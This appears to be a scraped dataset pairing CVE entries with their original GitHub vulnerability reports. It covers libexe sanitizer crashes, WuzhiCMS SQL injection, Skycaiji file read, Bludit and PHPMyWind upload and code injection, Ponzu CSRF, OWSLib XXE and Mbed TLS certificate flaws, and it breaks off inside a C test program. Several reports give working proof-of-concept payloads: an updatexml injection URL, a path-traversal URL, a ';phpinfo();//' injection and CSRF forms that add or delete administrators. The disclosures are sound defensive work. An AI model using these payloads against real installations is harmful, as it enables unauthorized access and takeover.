[POC_files.zip](https://github.com/libyal/libexe/files/2342126/POC_files.zip)
**For example:**
```
=================================================================
==109161==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000051 at pc 0x7f84e022ab5d bp 0x7fff952dad00 sp 0x7fff952dacf0
READ of size 1 at 0x602000000051 thread T0
#0 0x7f84e022ab5c in libexe_io_handle_read_coff_optional_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:1093
#1 0x7f84e022c06d in libexe_io_handle_read_coff_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:985
#2 0x7f84e022c5f2 in libexe_io_handle_read_pe_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:754
#3 0x7f84e022ca2d in libexe_io_handle_read_extended_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:429
#4 0x7f84e022d306 in libexe_io_handle_read_file_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:262
#5 0x7f84e022212a in libexe_file_open_read /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_file.c:865
#6 0x7f84e0223454 in libexe_file_open_file_io_handle /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_file.c:660
#7 0x7f84e0223d7e in libexe_file_open /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_file.c:379
#8 0x405cc3 in info_handle_open_input /home/wcventure/Documents/Fuzzing_Object/libexe/exetools/info_handle.c:301
#9 0x402c7e in main /home/wcventure/Documents/Fuzzing_Object/libexe/exetools/exeinfo.c:260
#10 0x7f84dfdec82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x403708 in _start (/home/wcventure/Documents/Fuzzing_Object/libexe/build/bin/exeinfo+0x403708)
0x602000000051 is located 0 bytes to the right of 1-byte region [0x602000000050,0x602000000051)
allocated by thread T0 here:
#0 0x7f84e07e0b90 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb90)
#1 0x7f84e022738c in libexe_io_handle_read_coff_optional_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:1048
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:1093 in libexe_io_handle_read_coff_optional_header
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa 00 00 fa fa 04 fa fa fa[01]fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==109161==ABORTING
```
**And**
```
=================================================================
==37887==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e0000001ca at pc 0x7f9a68633229 bp 0x7ffd49fad890 sp 0x7ffd49fad880
READ of size 2 at 0x60e0000001ca thread T0
#0 0x7f9a68633228 in libexe_io_handle_read_coff_optional_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:1812
#1 0x7f9a6863406d in libexe_io_handle_read_coff_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:985
#2 0x7f9a686345f2 in libexe_io_handle_read_pe_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:754
#3 0x7f9a68634a2d in libexe_io_handle_read_extended_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:429
#4 0x7f9a68635306 in libexe_io_handle_read_file_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:262
#5 0x7f9a6862a12a in libexe_file_open_read /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_file.c:865
#6 0x7f9a6862b454 in libexe_file_open_file_io_handle /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_file.c:660
#7 0x7f9a6862bd7e in libexe_file_open /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_file.c:379
#8 0x405cc3 in info_handle_open_input /home/wcventure/Documents/Fuzzing_Object/libexe/exetools/info_handle.c:301
#9 0x402c7e in main /home/wcventure/Documents/Fuzzing_Object/libexe/exetools/exeinfo.c:260
#10 0x7f9a681f482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x403708 in _start (/home/wcventure/Documents/Fuzzing_Object/libexe/build/bin/exeinfo+0x403708)
0x60e0000001ca is located 10 bytes to the right of 160-byte region [0x60e000000120,0x60e0000001c0)
allocated by thread T0 here:
#0 0x7f9a68be8b90 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb90)
#1 0x7f9a6862f38c in libexe_io_handle_read_coff_optional_header /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:1048
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wcventure/Documents/Fuzzing_Object/libexe/libexe/libexe_io_handle.c:1812 in libexe_io_handle_read_coff_optional_header
Shadow bytes around the buggy address:
0x0c1c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c1c7fff8010: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c1c7fff8020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8030: 00 00 00 00 00 00 00 00 fa[fa]fa fa fa fa fa fa
0x0c1c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==37887==ABORTING
``` | OOB read of 1 and 2 in libexe_io_handle_read_coff_optional_header of libexe 20180812 | https://api.github.com/repos/libyal/libexe/issues/1/comments | 19 | 2018-09-01T06:46:32Z | 2021-09-17T09:11:40Z | https://github.com/libyal/libexe/issues/1 | 356,178,040 | 1 | 2,353 |
CVE-2020-18877 | 2021-08-20T14:15:08.677 | SQL Injection in Wuzhi CMS v4.1.0 allows remote attackers to obtain sensitive information via the 'flag' parameter in the component '/coreframe/app/order/admin/index.php'. | {
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"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"wuzhicms",
"wuzhicms"
] | hi:
I found a sql injection vulnerability in /coreframe/app/order/admin/index.php
the parameter 'flag' didn't filtering of harmful input,so I can injection sql.
payload like this:
http://127.0.0.1/index.php?m=order&f=index&v=listing&_su=wuzhicms&flag= xxxx' or updatexml(1,concat(0x7e,(version())),0) or '
Result:
suggest:
$flag = sql_replace($GLOBALS['flag']);
Release Info:
v4.1.0
author by: xijun.liao@dbappsecurity.com.cn | wuzhicms v4.1.0 /coreframe/app/order/admin/index.php sql injection vulnerability | https://api.github.com/repos/wuzhicms/wuzhicms/issues/175/comments | 1 | 2019-03-27T08:29:39Z | 2021-08-24T08:52:07Z | https://github.com/wuzhicms/wuzhicms/issues/175 | 425,823,673 | 175 | 2,354 |
CVE-2020-18878 | 2021-08-20T14:15:08.833 | Directory Traversal in Skycaiji v1.3 allows remote attackers to obtain sensitive information via the component 'index.php?m=admin&c=Tool&a=log&file=D%3A%5CphpStudy%5CWWW%5Cindex.php'. | {
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"22"
] | 22 | https://github.com/zorlan/skycaiji/issues/13 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"zorlan",
"skycaiji"
] | I found an arbitrary file read vulnerability at V1.3
In the module of error log
URL: http://localhost/index.php?m=admin&c=Tool&a=log&file=D%3A%5CphpStudy%5CWWW%5CSkycaijiApp%5CRuntime%5CLogs%5CAdmin%5C18_09_13.log
The parameter of file can control，for example read index.php
POC:
<img width="993" alt="1" src="https://user-images.githubusercontent.com/37523122/45473191-f766ee80-b768-11e8-82f9-2320a3161776.png">
suggest：limit the parameter of file
Info:V1.3
I hope you can fix it
Best wish!
author by:xijun.liao@dbappsecurity.com | Skycaiji cms has an arbitrary file read vulnerability at V1.3 | https://api.github.com/repos/zorlan/skycaiji/issues/13/comments | 1 | 2018-09-13T07:25:24Z | 2019-02-19T10:47:36Z | https://github.com/zorlan/skycaiji/issues/13 | 359,773,635 | 13 | 2,355 |
CVE-2020-18879 | 2021-08-20T14:15:08.880 | Unrestricted File Upload in Bludit v3.8.1 allows remote attackers to execute arbitrary code by uploading malicious files via the component 'bl-kereln/ajax/upload-logo.php'. | {
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] | github.com | [
"bludit",
"bludit"
] | ### Describe your problem
a file upload vulnerability in bl-kereln/ajax/upload-logo.php
can upload php file
### Expected behavior
Limit upload file type
### Actual behavior
can upload php file
### Steps to reproduce the problem
so I upload a php file
Visit http://192.168.10.12/bl-content/uploads/BLUDIT.php
### Bludit version
3.8.0
author by:xijun.liao@dbappsecurity.com.cn | a file upload vulnerability in bl-kereln/ajax/upload-logo.php | https://api.github.com/repos/bludit/bludit/issues/1011/comments | 2 | 2019-03-29T09:47:56Z | 2019-05-27T17:24:18Z | https://github.com/bludit/bludit/issues/1011 | 426,901,864 | 1,011 | 2,356 |
CVE-2020-18885 | 2021-08-20T14:15:08.923 | Command Injection in PHPMyWind v5.6 allows remote attackers to execute arbitrary code via the "text color" field of the component '/admin/web_config.php'. | {
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"gaozhifeng",
"PHPMyWind"
] | hi:
I found a php code execute in /admin/web_config.php at version5.6
1.Login as admin
2. open http://192.168.10.12/admin/default.php
3.at the setting watermark input the payload
Watermark text input xxx'
Text color input ;phpinfo();//
4.submit and visit watermark setting you can see the php code execute
because the payload was write in /data/watermark.inc.php
the watermark.inc.php was inclue by require_once so php code execute
suggest:
replace ' ,\,;,(,)
version:5.6
author by xijun.liao@dbappsecurity.com.cn
I hope you can fix it
| I found a php code execute in /admin/web_config.php at version5.6 | https://api.github.com/repos/gaozhifeng/PHPMyWind/issues/4/comments | 2 | 2019-04-02T11:11:46Z | 2022-07-15T05:26:11Z | https://github.com/gaozhifeng/PHPMyWind/issues/4 | 428,165,616 | 4 | 2,357 |
CVE-2020-18886 | 2021-08-20T14:15:08.967 | Unrestricted File Upload in PHPMyWind v5.6 allows remote attackers to execute arbitrary code via the component 'admin/upload_file_do.php'. | {
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] | 434 | https://github.com/gaozhifeng/PHPMyWind/issues/5 | [
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] | github.com | [
"gaozhifeng",
"PHPMyWind"
] | 1.login as admin
2.visit website setting
upload type add PHP (space)
because Windows will remove the space so by pass suffix check
3.upload a php file like <?php phpinfo(); ?> name info.PHP
filename add a space
you can see upload success
4.visit the link
you can see php code was execute
becaue at data/httpfile/upload.class.php
you do not check the input filename
so trim(filename) can help you
author by xijun.liao@dbappsecurity.com.cn
version 5.6 | I found upload vulnerability admin/upload_file_do.php getshell at version5.6 | https://api.github.com/repos/gaozhifeng/PHPMyWind/issues/5/comments | 0 | 2019-04-02T11:57:38Z | 2019-04-02T11:57:38Z | https://github.com/gaozhifeng/PHPMyWind/issues/5 | 428,184,824 | 5 | 2,358 |
CVE-2020-24130 | 2021-08-20T20:15:06.947 | A cross site request forgery (CSRF) vulnerability in the configure.html component of Ponzu 0.11.0 allows attackers to change user and administrator credentials, and add or delete administrator accounts. | {
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"ponzu"
] | After the administrator logged in, open the following three pages:
## 1. add_admin.html
Add a administrator.
~~~html
<html>
<body>
<form action="http://localhost:8888/admin/configure/users" method="POST" enctype="multipart/form-data">
<input type="hidden" name="email" value="321@com" />
<input type="hidden" name="password" value="321" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
~~~
## 2. delete_admin.html
Delete a administrator use username(email), and the param 'id' is not useful, you can delete any user you think username(email).
~~~html
<html>
<body>
<form action="http://10.157.41.81:8888/admin/configure/users/delete" method="POST" enctype="multipart/form-data">
<input type="hidden" name="email" value="321@qq.com" />
<input type="hidden" name="id" value="80" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
~~~
## 3. configure.html
It can edit configure, example:
##### 1. Change HTTP Basic Auth User&Password to download a backup of your data via HTTP.
##### 2. Change administrator email and used with add_admin.html.
##### 3. Change Client Secret which is used to validate requests.
~~~html
<html>
<body>
<form action="http://10.157.41.81:8888/admin/configure/users/delete" method="POST" enctype="multipart/form-data">
<input type="hidden" name="email" value="321@qq.com" />
<input type="hidden" name="id" value="80" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
~~~ | There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration. | https://api.github.com/repos/ponzu-cms/ponzu/issues/352/comments | 0 | 2020-07-27T07:21:58Z | 2020-07-27T07:22:31Z | https://github.com/ponzu-cms/ponzu/issues/352 | 666,049,459 | 352 | 2,359 |
CVE-2021-39371 | 2021-08-23T01:15:06.373 | An XML external entity (XXE) injection in PyWPS before 4.4.5 allows an attacker to view files on the application server filesystem by assigning a path to the entity. OWSLib 0.24.1 may also be affected. | {
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"Issue Tracking",
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] | github.com | [
"geopython",
"OWSLib"
] | The vulnerabilities caused by using `lxml` can be addressed by using [defusedxml](https://github.com/tiran/defusedxml). I've had success with just replacing `xml.etree.ElementTree` with `defusedxml.ElementTree`. | Propose to replace lxml with defusedxml | https://api.github.com/repos/geopython/OWSLib/issues/790/comments | 1 | 2021-07-29T18:30:55Z | 2022-02-02T07:48:23Z | https://github.com/geopython/OWSLib/issues/790 | 956,102,561 | 790 | 2,360 |
CVE-2020-36477 | 2021-08-23T02:15:07.043 | An issue was discovered in Mbed TLS before 2.24.0. The verification of X.509 certificates when matching the expected common name (the cn argument of mbedtls_x509_crt_verify) with the actual certificate name is mishandled: when the subjecAltName extension is present, the expected name is compared to any name in that extension regardless of its type. This means that an attacker could impersonate a 4-byte or 16-byte domain by getting a certificate for the corresponding IPv4 or IPv6 address (this would require the attacker to control that IP address, though). | {
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"ARMmbed",
"mbedtls"
] | ### Description
- Type: Bug
- Priority: Minor
**mbed TLS build:**
Version: checked on 2.16.4 and git-8f4f9a8da, likely occurs on all versions that support SAN
**Actual behavior**
[`x509_crt_verify_name()`](https://github.com/ARMmbed/mbedtls/blob/527b87890db72da39f6185f977b8230655a42ddd/library/x509_crt.c#L3013) treats all kinds of Subject Alternative Names equivalently, even in cases where it does not make sense. In particular, IP address SANs are compared byte-by-byte with whatever the value of `cn` is - and in the typical cases it is a hostname (specifically, in the case of normal `mbedtls_ssl_context` operation, it's the value configured via `mbedtls_ssl_set_hostname()`).
It is possible, for example, for a certificate to exist with an IP address SAN for `97.46.112.108` (a perfectly valid IP owned by Verizon in the US), which would erroneously match a hostname of `a.pl` (an actual Polish retailer's website). While unlikely, this is seems like a possibility for certificate spoofing.
This also means that it is very difficult to handle connecting to a server that actually uses an IP address SAN in its certificate, as there is no way to pass an IP address to mbed TLS when connecting.
**Expected behavior**
I would expect IP address SANs to be either ignored or compared in a more appropriate way (e.g. stringified first, perhaps?) | Erroneous handling of IP address SANs | https://api.github.com/repos/Mbed-TLS/mbedtls/issues/3498/comments | 4 | 2020-07-17T10:10:04Z | 2020-08-14T09:32:22Z | https://github.com/Mbed-TLS/mbedtls/issues/3498 | 659,105,620 | 3,498 | 2,361 |
CVE-2020-36478 | 2021-08-23T02:15:07.097 | An issue was discovered in Mbed TLS before 2.25.0 (and before 2.16.9 LTS and before 2.7.18 LTS). A NULL algorithm parameters entry looks identical to an array of REAL (size zero) and thus the certificate is considered valid. However, if the parameters do not match in any way, then the certificate should be considered invalid. | {
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"ARMmbed",
"mbedtls"
] | ### Description
- Type: Bug
- Priority: Unclear
A verification discrepancy found with differential fuzzing. OpenSSL fails to verify ```discrepancy_cert``` against the GlobalSign CA cert whereas mbed TLS succeeds. This might be worth looking into as it could indicate a (security) bug.
---------------------------------------------------------------
## Bug
**OS**
linux
**mbed TLS build:**
Latest git checkout, default configuration.
**Peer device TLS stack and version**
Not applicable
**Expected behavior**
Verification fails
**Actual behavior**
Verification succeeds
**Steps to reproduce**
Compile and run:
```c
#include <mbedtls/x509_crt.h>
#include <openssl/x509.h>
#define CF_CHECK_EQ(expr, res) if ( (expr) != (res) ) { goto end; }
#define CF_CHECK_NE(expr, res) if ( (expr) == (res) ) { goto end; }
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0x4a, 0x99, 0x2a, 0x07, 0x2f, 0xb4, 0x1e, 0x77, 0xbf, 0x8a, 0x0f, 0xb5,
0x02, 0x7c, 0x1b, 0x96, 0xb8, 0xc5, 0xb9, 0x3a, 0x2c, 0xbc, 0xd6, 0x12,
0xb9, 0xeb, 0x59, 0x7d, 0xe2, 0xd0, 0x06, 0x86, 0x5f, 0x5e, 0x49, 0x6a,
0xb5, 0x39, 0x5e, 0x88, 0x34, 0xec, 0xbc, 0x78, 0x0c, 0x08, 0x98, 0x84,
0x6c, 0xa8, 0xcd, 0x4b, 0xb4, 0xa0, 0x7d, 0x0c, 0x79, 0x4d, 0xf0, 0xb8,
0x2d, 0xcb, 0x21, 0xca, 0xd5, 0x6c, 0x5b, 0x7d, 0xe1, 0xa0, 0x29, 0x84,
0xa1, 0xf9, 0xd3, 0x94, 0x49, 0xcb, 0x24, 0x62, 0x91, 0x20, 0xbc, 0xdd,
0x0b, 0xd5, 0xd9, 0xcc, 0xf9, 0xea, 0x27, 0x0a, 0x2b, 0x73, 0x91, 0xc6,
0x9d, 0x1b, 0xac, 0xc8, 0xcb, 0xe8, 0xe0, 0xa0, 0xf4, 0x2f, 0x90, 0x8b,
0x4d, 0xfb, 0xb0, 0x36, 0x1b, 0xf6, 0x19, 0x7a, 0x85, 0xe0, 0x6d, 0xf2,
0x61, 0x13, 0x88, 0x5c, 0x9f, 0xe0, 0x93, 0x0a, 0x51, 0x97, 0x8a, 0x5a,
0xce, 0xaf, 0xab, 0xd5, 0xf7, 0xaa, 0x09, 0xaa, 0x60, 0xbd, 0xdc, 0xd9,
0x5f, 0xdf, 0x72, 0xa9, 0x60, 0x13, 0x5e, 0x00, 0x01, 0xc9, 0x4a, 0xfa,
0x3f, 0xa4, 0xea, 0x07, 0x03, 0x21, 0x02, 0x8e, 0x82, 0xca, 0x03, 0xc2,
0x9b, 0x8f, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0x9c, 0x30, 0x81,
0x99, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff, 0x04,
0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13,
0x01, 0x01, 0xff, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xff, 0x30, 0x1d,
0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x9b, 0xe2, 0x07,
0x57, 0x67, 0x1c, 0x1e, 0xc0, 0x6a, 0x06, 0xde, 0x59, 0xb4, 0x9a, 0x2d,
0xdf, 0xdc, 0x19, 0x86, 0x2e, 0x30, 0x36, 0x06, 0x03, 0x55, 0x1d, 0x1f,
0x04, 0x2f, 0x30, 0x2d, 0x30, 0x2b, 0xa0, 0x29, 0xa0, 0x27, 0x86, 0x25,
0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x67,
0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x6e, 0x65,
0x74, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2d, 0x72, 0x32, 0x2e, 0x63, 0x72,
0x6c, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16,
0x80, 0x14, 0x9b, 0xe2, 0x07, 0x57, 0x67, 0x1c, 0x1e, 0xc0, 0x6a, 0x06,
0xde, 0x59, 0xb4, 0x9a, 0x2d, 0xdf, 0xdc, 0x19, 0x86, 0x2e, 0x30, 0x0d,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05,
0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x99, 0x81, 0x53, 0x87, 0x1c, 0x68,
0x97, 0x86, 0x91, 0xec, 0xe0, 0x4a, 0xb8, 0x44, 0x0b, 0xab, 0x81, 0xac,
0x27, 0x4f, 0xd6, 0xc1, 0xb8, 0x1c, 0x43, 0x78, 0xb3, 0x0c, 0x9a, 0xfc,
0xea, 0x2c, 0x3c, 0x6e, 0x61, 0x1b, 0x4d, 0x4b, 0x29, 0xf5, 0x9f, 0x05,
0x1d, 0x26, 0xc1, 0xb8, 0xe9, 0x83, 0x00, 0x62, 0x45, 0xb6, 0xa9, 0x08,
0x93, 0xb9, 0xa9, 0x33, 0x4b, 0x18, 0x9a, 0xc2, 0xf8, 0x87, 0x88, 0x4e,
0xdb, 0xdd, 0x71, 0x34, 0x1a, 0xc1, 0x54, 0xda, 0x46, 0x3f, 0xe0, 0xd3,
0x2a, 0xab, 0x6d, 0x54, 0x22, 0xf5, 0x3a, 0x62, 0xcd, 0x20, 0x6f, 0xba,
0x29, 0x89, 0xd7, 0xdd, 0x91, 0xee, 0xd3, 0x5c, 0xa2, 0x3e, 0xa1, 0x5b,
0x41, 0xf5, 0xdf, 0xe5, 0x64, 0x43, 0x2d, 0xe9, 0xd5, 0x39, 0xab, 0xd2,
0xa2, 0xdf, 0xb7, 0x8b, 0xd0, 0xc0, 0x80, 0x19, 0x1c, 0x45, 0xc0, 0x2d,
0x8c, 0xe8, 0xf8, 0x2d, 0xa4, 0x74, 0x56, 0x49, 0xc5, 0x05, 0xb5, 0x4f,
0x15, 0xde, 0x6e, 0x44, 0x78, 0x39, 0x87, 0xa8, 0x7e, 0xbb, 0xf3, 0x79,
0x18, 0x91, 0xbb, 0xf4, 0x6f, 0x9d, 0xc1, 0xf0, 0x8c, 0x35, 0x8c, 0x5d,
0x01, 0xfb, 0xc3, 0x6d, 0xb9, 0xef, 0x44, 0x6d, 0x79, 0x46, 0x31, 0x7e,
0x0a, 0xfe, 0xa9, 0x82, 0xc1, 0xff, 0xef, 0xab, 0x6e, 0x20, 0xc4, 0x50,
0xc9, 0x5f, 0x9d, 0x4d, 0x9b, 0x17, 0x8c, 0x0c, 0xe5, 0x01, 0xc9, 0xa0,
0x41, 0x6a, 0x73, 0x53, 0xfa, 0xa5, 0x50, 0xb4, 0x6e, 0x25, 0x0f, 0xfb,
0x4c, 0x18, 0xf4, 0xfd, 0x52, 0xd9, 0x8e, 0x69, 0xb1, 0xe8, 0x11, 0x0f,
0xde, 0x88, 0xd8, 0xfb, 0x1d, 0x49, 0xf7, 0xaa, 0xde, 0x95, 0xcf, 0x20,
0x78, 0xc2, 0x60, 0x12, 0xdb, 0x25, 0x40, 0x8c, 0x6a, 0xfc, 0x7e, 0x42,
0x38, 0x40, 0x64, 0x12, 0xf7, 0x9e, 0x81, 0xe1, 0x93, 0x2e
};
const unsigned char discrepancy_cert[] = {
0x30, 0x82, 0x04, 0x4a, 0x30, 0x82, 0x03, 0x32, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0d, 0x01,
0xe3, 0xb4, 0x9a, 0xa1, 0x8d, 0x8a, 0xa9, 0x81, 0x25, 0x69, 0x50, 0xb8, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x4c, 0x31, 0x20, 0x30,
0x1e, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x17, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x53, 0x69,
0x67, 0x6e, 0x20, 0x52, 0x6f, 0x6f, 0x74, 0x20, 0x43, 0x41, 0x20, 0x2d, 0x20, 0x52, 0x32, 0x31,
0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0a, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c,
0x53, 0x69, 0x67, 0x6e, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x0a, 0x47,
0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x53, 0x69, 0x67, 0x6e, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x37, 0x30,
0x36, 0x31, 0x35, 0x30, 0x30, 0x30, 0x30, 0x34, 0x32, 0x5a, 0x17, 0x0d, 0x32, 0x31, 0x31, 0x32,
0x31, 0x35, 0x30, 0x30, 0x30, 0x30, 0x34, 0x32, 0x5a, 0x30, 0x42, 0x31, 0x0b, 0x30, 0x09, 0x06,
0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1e, 0x30, 0x1c, 0x06, 0x03, 0x55, 0x04,
0x0a, 0x13, 0x15, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20,
0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04,
0x03, 0x13, 0x0a, 0x47, 0x54, 0x53, 0x20, 0x43, 0x41, 0x20, 0x31, 0x4f, 0x31, 0x30, 0x82, 0x01,
0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00,
0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xd0, 0x18,
0xcf, 0x45, 0xd4, 0x8b, 0xcd, 0xd3, 0x9c, 0xe4, 0x40, 0xef, 0x7e, 0xb4, 0xdd, 0x69, 0x21, 0x1b,
0xc9, 0xcf, 0x3c, 0x8e, 0x4c, 0x75, 0xb9, 0x0f, 0x31, 0x19, 0x84, 0x3d, 0x9e, 0x3c, 0x29, 0xef,
0x50, 0x0d, 0x10, 0x93, 0x6f, 0x05, 0x80, 0x80, 0x9f, 0x2a, 0xa0, 0xbd, 0x12, 0x4b, 0x02, 0xe1,
0x3d, 0x9f, 0x58, 0x16, 0x24, 0xfe, 0x30, 0x9f, 0x0b, 0x74, 0x77, 0x55, 0x93, 0x1d, 0x4b, 0xf7,
0x4d, 0xe1, 0x92, 0x82, 0x10, 0xf6, 0x51, 0xac, 0x0c, 0xc3, 0xb2, 0x22, 0x94, 0x0f, 0x34, 0x6b,
0x98, 0x10, 0x49, 0xe7, 0x0b, 0x9d, 0x83, 0x39, 0xdd, 0x20, 0xc6, 0x1c, 0x2d, 0xef, 0xd1, 0x18,
0x61, 0x65, 0xe7, 0x23, 0x83, 0x20, 0xa8, 0x23, 0x12, 0xff, 0xd2, 0x24, 0x7f, 0xd4, 0x2f, 0xe7,
0x44, 0x6a, 0x5b, 0x4d, 0xd7, 0x50, 0x66, 0xb0, 0xaf, 0x9e, 0x42, 0x63, 0x05, 0xfb, 0xe0, 0x1c,
0xc4, 0x63, 0x61, 0xaf, 0x9f, 0x6a, 0x33, 0xff, 0x62, 0x97, 0xbd, 0x48, 0xd9, 0xd3, 0x7c, 0x14,
0x67, 0xdc, 0x75, 0xdc, 0x2e, 0x69, 0xe8, 0xf8, 0x6d, 0x78, 0x69, 0xd0, 0xb7, 0x10, 0x05, 0xb8,
0xf1, 0x31, 0xc2, 0x3b, 0x24, 0xfd, 0x1a, 0x33, 0x74, 0xf8, 0x23, 0xe0, 0xec, 0x6b, 0x19, 0x8a,
0x16, 0xc6, 0xe3, 0xcd, 0xa4, 0xcd, 0x0b, 0xdb, 0xb3, 0xa4, 0x59, 0x60, 0x38, 0x88, 0x3b, 0xad,
